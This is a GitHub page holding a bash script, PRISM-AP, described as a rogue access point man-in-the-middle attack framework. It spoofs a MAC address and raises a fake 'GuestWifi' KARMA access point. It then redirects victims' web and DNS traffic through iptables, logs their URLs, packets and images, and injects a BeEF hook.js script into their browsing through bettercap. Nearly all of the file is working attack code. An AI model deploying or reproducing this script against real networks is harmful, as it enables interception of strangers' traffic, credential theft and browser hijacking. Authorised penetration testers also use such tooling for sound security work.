-
Notifications
You must be signed in to change notification settings - Fork 52
/
prism-ap
executable file
·142 lines (122 loc) · 5.54 KB
/
prism-ap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/bin/bash
# PRISM-AP v1.0 by 1N3@CrowdShield - https://crowdshield.com
#
# ABOUT:
# PRISM-AP is a wireless RogueAP MITM attack framework.
#
OKBLUE='\033[94m'
OKRED='\033[91m'
OKGREEN='\033[92m'
OKORANGE='\033[93m'
RESET='\e[0m'
function logo {
echo ""
echo ""
echo ' ________ ________ ___ ________ _____ ______ ________ ________ '
echo '|\ __ \|\ __ \|\ \|\ ____\|\ _ \ _ \ |\ __ \|\ __ \ '
echo '\ \ \|\ \ \ \|\ \ \ \ \ \___|\ \ \\\__\ \ \ ____________\ \ \|\ \ \ \|\ \ '
echo ' \ \ ____\ \ _ _\ \ \ \_____ \ \ \\|__| \ \|\____________\ \ __ \ \ ____\'
echo ' \ \ \___|\ \ \\ \\ \ \|____|\ \ \ \ \ \ \|____________|\ \ \ \ \ \ \___|'
echo ' \ \__\ \ \__\\ _\\ \__\____\_\ \ \__\ \ \__\ \ \__\ \__\ \__\ '
echo ' \|__| \|__|\|__|\|__|\_________\|__| \|__| \|__|\|__|\|__| '
echo ' \|_________| '
echo " by 1N3 @CrowdShield https://crowdshield.com"
echo ""
}
logo
# NOTE: Any changes made below will need to be updated manually in dhcpd.conf and the hostapd.conf.
#
WLAN='wlan0' # REPLACE WITH WIRELESS INTERFACE
INET='eth0' # REPLACE WITH INTERNET INTERFACE
INSTALL_DIR="/usr/share/prism-ap" # INSTALL DIRECTORY
HOSTAPD='/usr/lib/mana-toolkit/hostapd' # MANA HOSTAPD PATCH
HOSTAPD_CONF='karma.conf' # KARMA ATTACK CONFIG
DHCPD_CONF="dhcpd.conf" # FULL PATH TO DHCPD.CONF
MAC_ADDRESS='11:CA:44:10:41:62' # MAC ADDRESS TO SPOOF
CHAN='6' # WIRELESS CHANNEL
SSID='GuestWifi' # SSID OF AP
cd $INSTALL_DIR
mkdir -p $INSTALL_DIR/bak/ 2> /dev/null
mkdir -p $INSTALL_DIR/logs/ 2> /dev/null
# INIT
service network-manager stop 2> /dev/null
rfkill unblock wlan 2> /dev/null
ifconfig $WLAN down 2> /dev/null
macchanger -r $WLAN 2> /dev/null
ifconfig $WLAN up 2> /dev/null
# CLEANUP
iptables --flush 2> /dev/null
iptables --table nat --flush 2> /dev/null
iptables --delete-chain 2> /dev/null
iptables --table nat --delete-chain 2> /dev/null
echo 0 > /proc/sys/net/ipv4/ip_forward 2> /dev/null
killall hostapd dhcpd beef-xss beef ruby bettercap xterm driftnet wireshark tcpdump 2> /dev/null
tar -zcvf $INSTALL_DIR/bak/logs-`date +%s`.bak.tar.gz $INSTALL_DIR/logs/ 2> /dev/null
sleep 5
echo -e "$OKBLUE Do you want to start Evil AP?"
echo -e "$OKBLUE =============================================================================== $RESET"
read ans
clear
logo
sleep 2
# START HOSTAPD
echo -e "$OKBLUE START HOSTAPD"
echo -e "$OKBLUE =============================================================================== $RESET"
$HOSTAPD -f $INSTALL_DIR/logs/hostapd.txt $INSTALL_DIR/conf/$HOSTAPD_CONF &
sleep 5
# SET IP ADDRESS
echo -e "$OKBLUE SETTING UP NETWORKING"
echo -e "$OKBLUE =============================================================================== $RESET"
ifconfig $WLAN 192.168.1.1/24
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
ifconfig $WLAN
sleep 5
# SET IPTABLES RULES
echo -e "$OKBLUE SET IPTABLES RULES"
echo -e "$OKBLUE =============================================================================== $RESET"
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8443
iptables -t nat -A PREROUTING -p tcp --destination-port 53 -j REDIRECT --to-port 5300
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 5300
iptables -t nat -A POSTROUTING -o $INET -j MASQUERADE
iptables -A FORWARD -i $WLAN -o $INET -j ACCEPT
echo '1' > /proc/sys/net/ipv4/ip_forward
sleep 5
# START DHCPD
echo -e "$OKBLUE START DHCPD"
echo -e "$OKBLUE =============================================================================== $RESET"
dhcpd -d -cf $INSTALL_DIR/conf/$DHCPD_CONF $WLAN 2>&1 | tee $INSTALL_DIR/logs/dhcpd.txt &
sleep 5
# START URLSNARF
echo -e "$OKBLUE START URLSNARF"
echo -e "$OKBLUE =============================================================================== $RESET"
urlsnarf -i $WLAN &
sleep 5
# START TCPDUMP
echo -e "$OKBLUE START TCPDUMP"
echo -e "$OKBLUE =============================================================================== $RESET"
tcpdump -l -A -s0 -i $WLAN -w $INSTALL_DIR/logs/tcpdump.pcap &
sleep 5
# START DRIFTNET
echo -e "$OKBLUE START DRIFTNET"
echo -e "$OKBLUE =============================================================================== $RESET"
cd $INSTALL_DIR/logs/
driftnet -i $WLAN &
sleep 3
# START BEEF
echo -e "$OKBLUE START BEEF"
echo -e "$OKBLUE =============================================================================== $RESET"
cd /usr/share/beef-xss/ && ./beef --reset &
sleep 7
# START BEEF UI
echo -e "$OKBLUE START BEEF UI"
echo -e "$OKBLUE =============================================================================== $RESET"
sleep 3
echo "To view BeeF GUI, go to: http://127.0.0.1:3000/ui/panel"
#firefox http://127.0.0.1:3000/ui/panel &
# START BETTERCAP
echo -e "$OKBLUE START BETTERCAP"
echo -e "$OKBLUE =============================================================================== $RESET"
bettercap -I wlan0 -X --log $INSTALL_DIR/logs/bettercap.log --no-spoofing --no-discovery --proxy --proxy-port 8080 --proxy-https --proxy-https-port 8443 --proxy-module injectjs --js-url "http://192.168.1.1:3000/hook.js" --dns-port 5300 --debug &
echo -e "$OKBLUE ==============================================================================="
echo -e "DONE! $RESET"